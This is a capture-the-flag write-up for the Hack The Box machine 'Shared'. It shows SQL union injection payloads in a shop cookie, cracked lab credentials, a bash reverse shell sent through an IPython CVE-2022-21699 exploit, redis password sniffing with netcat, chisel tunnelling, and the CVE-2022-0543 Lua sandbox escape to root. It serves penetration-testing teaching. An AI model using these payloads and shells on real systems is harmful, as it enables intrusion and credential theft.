Shared
Summary
Running an nmap
scan finds SSH and a basic online shop powered by PrestaShop at https://shared.htb
. We add an item to the cart and try to checkout, which redirects us to checkout.shared.htb
. The website knows which items are in our cart through a custom_cart
cookie on the shared.htb
domain. The cookie references the product code and the quantity that is in our cart. We manually perform a SQL union injection attack on this cookie and read a username and password hash, which can be cracked using CrackStation, from the database. With our credentials, we connect to the machine via SSH as the james_mason
user.
Now that we are on the box, we run pspy and see ipython
being executed on a schedule in a specific directory as the dan_smith
user. Since the box is using ipython
version 8.0.0
, we use CVE-2022-21699 (GitHub advisory with proof-of-concept exploit) and get a reverse shell as dan_smith
. We can now get the user.txt
flag.
To escalate to root
, we try connecting to a redis server we noticed when we ran pspy
earlier. The redis server needs a password, so we run LinPEAS and find that we can execute /usr/local/bin/redis_connector_dev
. The script is able to execute the info
command on the redis server so it must have the password stored within it. From the redis documentation, we know that the password is sent in plain-text. So, we use netcat to capture the password from the program and then we use it to authenticate to the redis server running on the box. We try several exploits from HackTricks, but the LUA sandbox bypass ends up working. This is CVE-2022-0543 and a simple script is available at aodsec/CVE-2022-0543. We modify the script to use our password and then we get the root.txt
flag!
Enumeration
Nmap
First, let's scan for open ports using nmap
. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.172 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
. Then, we can scan those specific ports in depth by running nmap
's built-in scripts: nmap -p$ports -sC -sV 10.10.11.172
.
Nmap shows a redirect to shared.htb
, so let's add that domain to /etc/hosts
: echo "10.10.11.172 shared.htb" | sudo tee -a /etc/hosts
.
Nginx (Port 80
& 443
)
80
& 443
)The HTTP version redirects to the HTTPS version. Looks like we have a basic online shop powered by PrestaShop (see footer):
The main page references a new checkout page (see above), so we should definitely investigate that.
Searching for "prestashop vulnerabilities" finds Major Security Vulnerability on PrestaShop Websites and Prestashop Security Issues: Top 7 Most Common Prestashop Attacks, which might be helpful later.
OWASP ZAP
I haven't used OWASP ZAP before and it seems like a cool tool. In ZAP, perform an automated scan against https://shared.htb/index.php
. Make sure you have the beta and alpha "Active scanner rules" plugins installed so ZAP can detect more vulnerabilities. Then, create a policy with a low default threshold and a low attack strength. Apply those levels to all the rules in that policy. In Tools > Options, increase the "Concurrent Scanning Threads per Host" to something like 20 to speed up scan times. Additionally, in the tree on the left, you can right click a node and select Exclude from > Scanner to remove it from the scan and make the scan faster by only scanning the necessary components. Finally, run a new scan with your newly created policy against https://shared.htb
.
Here is the complete progress table:
Analyser
00:14.895
106
Plugin
Path Traversal
Low
100
00:38.579
405
11
Completed
Remote File Inclusion
Low
100
00:27.468
260
0
Completed
Source Code Disclosure - /WEB-INF folder
Low
100
00:00.346
2
0
Completed
External Redirect
Low
100
00:14.385
156
0
Completed
Server Side Include
Low
100
00:23.401
208
0
Completed
Cross Site Scripting (Reflected)
Low
100
01:21.525
708
0
Completed
Cross Site Scripting (Persistent) - Prime
Low
100
00:06.167
52
0
Completed
Cross Site Scripting (Persistent) - Spider
Low
100
00:04.903
187
0
Completed
Cross Site Scripting (Persistent)
Low
100
00:03.520
0
0
Completed
SQL Injection
Low
100
00:35.812
390
2
Completed
Server Side Code Injection
Low
100
00:37.159
416
0
Completed
Remote OS Command Injection
Low
100
01:08.598
780
0
Completed
Directory Browsing
Low
100
00:15.279
187
0
Completed
Buffer Overflow
Low
100
00:06.292
52
0
Completed
Format String Error
Low
100
00:17.474
144
0
Completed
CRLF Injection
Low
100
00:31.252
364
0
Completed
Parameter Tampering
Low
100
00:41.855
364
0
Completed
ELMAH Information Leak
Low
100
00:00.104
1
1
Completed
.htaccess Information Leak
Low
100
00:03.139
67
66
Completed
Script Active Scan Rules
Low
100
00:00.002
0
0
Skipped, no scripts enabled.
Source Code Disclosure - Git
Low
100
00:03.102
0
0
Completed
Source Code Disclosure - File Inclusion
Low
100
00:08.195
104
0
Completed
Remote Code Execution - Shell Shock
Low
100
00:09.918
104
0
Completed
Httpoxy - Proxy Header Misuse
Low
100
00:30.581
1305
0
Completed
Cross-Domain Misconfiguration
Low
100
00:00.482
2
0
Completed
Heartbleed OpenSSL Vulnerability
Low
100
00:00.843
5
0
Completed
Source Code Disclosure - CVE-2012-1823
Low
100
00:05.836
160
0
Completed
Remote Code Execution - CVE-2012-1823
Low
100
00:19.512
374
0
Completed
Session Fixation
Low
100
00:02.833
0
0
Completed
SQL Injection - MySQL
Low
100
00:18.062
208
0
Completed
SQL Injection - Hypersonic SQL
Low
100
00:21.231
208
0
Completed
SQL Injection - Oracle
Low
100
00:19.905
208
0
Completed
SQL Injection - PostgreSQL
Low
100
00:20.243
208
0
Completed
SQL Injection - SQLite
Low
100
00:13.886
104
0
Completed
Cross Site Scripting (DOM Based)
Low
100
01:44.250
0
0
Skipped, by user action.
SQL Injection - MsSQL
Low
100
00:05.257
90
0
Completed
XPath Injection
Low
100
00:12.339
156
0
Completed
XML External Entity Attack
Low
100
00:03.299
0
0
Completed
Generic Padding Oracle
Low
100
00:03.686
0
0
Completed
Expression Language Injection
Low
100
00:04.947
52
0
Completed
Cloud Metadata Potentially Exposed
Low
100
00:00.483
1
1
Completed
Source Code Disclosure - SVN
Low
100
00:04.496
145
132
Completed
Relative Path Confusion
Low
100
00:03.488
39
0
Completed
Backup File Disclosure
Low
100
01:13.116
1790
83
Completed
HTTP Only Site
Low
100
00:00.014
0
0
Completed
Anti-CSRF Tokens Check
Low
100
00:03.952
22
22
Completed
Integer Overflow Error
Low
100
00:20.905
189
7
Completed
Proxy Disclosure
Low
100
00:36.839
1496
104
Completed
Trace.axd Information Leak
Low
100
00:03.199
67
12
Completed
.env Information Leak
Low
100
00:03.093
67
67
Completed
Hidden File Finder
Low
100
00:07.619
44
1
Completed
XSLT Injection
Low
100
00:09.868
114
0
Completed
Insecure HTTP Method
Low
100
00:10.245
187
0
Completed
HTTPS Content Available via HTTP
Low
100
00:04.904
174
25
Completed
GET for POST
Low
100
00:03.225
5
0
Completed
User Agent Fuzzer
Low
100
00:41.962
484
464
Skipped, by user action.
HTTP Parameter Pollution
Low
100
00:04.783
10
0
Completed
Possible Username Enumeration
Low
100
00:00.001
0
0
Skipped
Cookie Slack Detector
Low
100
00:16.495
738
184
Completed
Server Side Template Injection
Low
100
00:20.898
212
0
Completed
Server Side Template Injection (Blind)
Low
100
00:57.817
650
0
Completed
Totals
18:30.655
17940
1183
The "Path Traversal" seems to be a false positive (it had a "low" confidence). We can check the SQL Injection as well with sqlmap. However, running sqlmap -u "https://shared.htb/index.php?controller=category&id_category=1" --random-agent --batch -p id_category --level 3 --risk 2
doesn't find anything.
Exploring the Website
Alright, that's enough messing around with ZAP. Let's explore the application. Let's add an item to the cart:
Clicking "Proceed to Checkout" redirects to checkout.shared.htb
. So, let's add that to our /etc/hosts
: echo "10.10.11.172 checkout.shared.htb" | sudo tee -a /etc/hosts
.
Since we found this virtual host, let's scan for others with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://shared.htb/ -H "Host: FUZZ.shared.htb" -fs 169
:
This only finds www
so nothing interesting.
Anyway, clicking "Pay" on checkout.shared.htb
only shows an alert message and does nothing else, as shown by the HTML for the "Pay" button: <a href="#" class="btn btn-success my-3" onclick="alert('Your payment was successfully received');">Pay<i class="ml-2"></i></a>
.
However, looking at the request to load the page shows a custom_cart
cookie:
The cookie is %7B%2253GG2EF8%22%3A%221%22%7D
and URL decoding it returns {"53GG2EF8":"1"}
. This looks like a product ID and a quantity. Sure enough, adding another item to the cart gives us {"53GG2EF8":"1","562XZDU8":"1"}
.
Foothold
We have a product ID, which is a good candidate for SQL injection because e-commerce sites usually "store the products and their characteristics (price, description, availability, etc)... in a database" (source). We can quickly test for a SQL injection by setting this cookie to {"53GG2'+'EF8":"1"}
. This is a query that will evaluate to the same value originally if it is being ran as SQL. Sure enough, we get the same page. So, we have a SQL injection within this cookie.
I recommend using BurpSuite for the rest of this part since it makes sending the request with the URL encoded payload much easier than manually URL encoding and editing the cookie within a browser.
This page from PortSwigger is a good introduction to SQL injections. In this case, we can use a SQL union injection. We will determine the number of columns in the query by appending ' ORDER BY 1--
and incrementing until we get a "Not Found" shown on the page. When we try {"53GG2EF8' ORDER BY 4-- ":"1"}
, we get "Not Found," so 3 is the number of columns. The ORDER BY
command "modifies the original query to order the results by different columns in the result set" (source).
Next, we will add AND 0=1
to prevent the first part of the query from running since 0=1
always evaluates to false. After that, we will add a UNION SELECT
statement to see which columns are shown on the page. So, our final query if {"53GG2EF8' and 0=1 union select 2,4,8-- ":"1"}
:
The 4
is shown under the "Product" heading, so that is the column we have control over.
We can use the database()
function to ge the current database: {"53GG2EF8' and 0=1 union select 2,database(),8-- ":"1"}
. This causes the "Product" column to show checkout
, so the current database is checkout
.
Next, we get the tables in the checkout
database by running {"53GG2EF8' and 0=1 union select 2,group_concat(table_name),8 from information_schema.tables WHERE table_schema = 'checkout'-- ":"1"}
(based on the command from this StackOverflow answer). This gives us user,product
.
After that, we use {"53GG2EF8' and 0=1 union select 2,group_concat(column_name),8 from information_schema.columns WHERE table_schema = 'checkout' and table_name='user'-- ":"1"}
(based on the command from this StackOverflow answer) to get the columns. As output, we get id,username,password
in the "Product" column.
We can get the username with {"53GG2EF8' and 0=1 union select 2,username,8 from checkout.user-- ":"1"}
: james_mason
.
And we can get the password with {"53GG2EF8' and 0=1 union select 2,password,8 from checkout.user-- ":"1"}
: fc895d4eddc2fc12f995e18c865cf273
. Putting this hash into CrackStation gives us the password: Soleil101
.
Using these credentials to connect over SSH works: ssh james_mason@shared.htb
with password Soleil101
.
Lateral Movement
We reconnect using pwncat to make it easy to copy files.
We run pspy and see the below output:
We have a redis-server
being started on localhost port 6379
. We also have ipython
being executed in the /opt/scripts_review/
directory, which looks promising. ipython
is executed as UID 1001
, which is the dan_smith
user according to /etc/passwd
.
Running ipython --version
tells us that it is version 8.0.0
. Searching for "" finds the program in Snyk's vulnerability database, which points us to this vulnerability, which directs us to the IPython release notes, which talk about CVE-2022-21699. Version 8.0.0
is "subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine." This is exactly what we want.
The GitHub advisory contains a proof-of-concept:
Let's edit this to create a reverse shell instead. We use the standard bash reverse shell (bash -c 'bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'
) and just pass it to os.system()
:
Start a listener with nc -lvnp 49113
(or using pwncat
). After a few seconds or minutes, we get a reverse shell as dan_smith
! We can now get the user.txt
flag by running cat ~/user.txt
.
Privilege Escalation
We can get persistance by grabbing dan_smith
's private ssh key located at ~/.ssh/id_rsa
.
We saw a redis server being executed earlier. Looking at the open ports with netstat -lntu
shows the following:
Sure enough, port 6379
is open. Port 3306
, which is the default MariaDB port, is also open. That is likely the database that we were able to inject to get access to the box as james_mason
.
We find the credentials to the database in /var/www/checkout.shared.htb/config/db.php
, but it doesn't contain any new information.
Back to redis
. Looking at HackTrick's guide for redis, the first thing we should do is connect with redis-cli
, which is installed on the box for us, and run info
:
Looks like we are going to need some credentials.
Upload LinPEAS and run with ./linpeas.sh -a 2>&1 | tee linpeas_report.txt
. Download the report with download linepeas_report.txt
in the local terminal within pwncat
. You can open linpeas_report.txt with less -R linpeas_report.txt
.
LinPEAS finds this:
This is a file at /usr/local/bin/redis_connector_dev
that we can read. Simply executing the file shows the following:
The script is able to execute the info
command on the redis
server so it must have the password stored within it (or it reads it from somewhere). We download the file with pwncat
: redis_connector_dev.
Running strings
on the binary is useless since it is so large. The redis documentation says "When the authorization layer is enabled, Redis will refuse any query by unauthenticated clients. A client can authenticate itself by sending the AUTH command followed by the password... Since the AUTH command, like every other Redis command, is sent unencrypted, it does not protect against an attacker that has enough access to the network to perform eavesdropping."
So, we should be able to set up a netcat listener on the default redis port and see the password printed out for us. Start the listener with nc -nvlp 6379
and then run the binary:
It seems like F2WHqJUz2WEz=Gqq
is the password.
Back on the target machine, we run redis-cli
again to connect. We can use the AUTH
command to authenticate, but we need a username? The shell makes it look like we do, but the username is optional, which is clarified in the AUTH
command documentation. HackTricks also has some details about authentication.
Running AUTH F2WHqJUz2WEz=Gqq
authenticates us and then we run the info
command to see that the redis version is 6.0.15
. Looking at the changelog, we see that version 6.0.16
patched 8 CVEs, so any one of those might be helpful:
Security Fixes:
(CVE-2021-41099) Integer to heap buffer overflow handling certain string commands and network payloads, when proto-max-bulk-len is manually configured to a non-default, very large value [reported by yiyuaner].
(CVE-2021-32762) Integer to heap buffer overflow issue in redis-cli and redis-sentinel parsing large multi-bulk replies on some older and less common platforms [reported by Microsoft Vulnerability Research].
(CVE-2021-32687) Integer to heap buffer overflow with intsets, when set-max-intset-entries is manually configured to a non-default, very large value [reported by Pawel Wieczorkiewicz, AWS].
(CVE-2021-32675) Denial Of Service when processing RESP request payloads with a large number of elements on many connections.
(CVE-2021-32672) Random heap reading issue with Lua Debugger [reported by Meir Shpilraien].
(CVE-2021-32628) Integer to heap buffer overflow handling ziplist-encoded data types, when configuring a large, non-default value for hash-max-ziplist-entries, hash-max-ziplist-value, zset-max-ziplist-entries or zset-max-ziplist-value [reported by sundb].
(CVE-2021-32627) Integer to heap buffer overflow issue with streams, when configuring a non-default, large value for proto-max-bulk-len and client-query-buffer-limit [reported by sundb].
(CVE-2021-32626) Specially crafted Lua scripts may result with Heap buffer overflow [reported by Meir Shpilraien].
From HackTricks, I try the load redis module section, but that doesn't work:
Under the LUA sandbox bypass heading, HackTricks links to aodsec/CVE-2022-0543, which exploits CVE-2022-0543.
We get the linked repo setup by running these commands:
However, before we can run it we need to forward the redis port to our attacker machine, which we can do using chisel. Run ./chisel server -p 34295 --reverse
on your attacker machine and then run ./chisel client 10.10.14.98:34295 R:6379:127.0.0.1:6379
on the target. You can upload chisel
easily with pwncat by running upload tools/chisel
in the local shell of pwncat.
Finally, run the exploit script with python CVE-2022-0543.py
. This produces an error: redis.exceptions.AuthenticationError: Authentication required
because we didn't provide our password. We can easily modify the scipt and add the password by changing this line r = redis.Redis(host = ip,port = port)
to this r = redis.Redis(host = ip,port = port,password="F2WHqJUz2WEz=Gqq")
(password argument name found in this StackOverflow answer).
Now, we can actually run the exploit script:
Run /root/root.txt
to get the root.txt
flag.
Last updated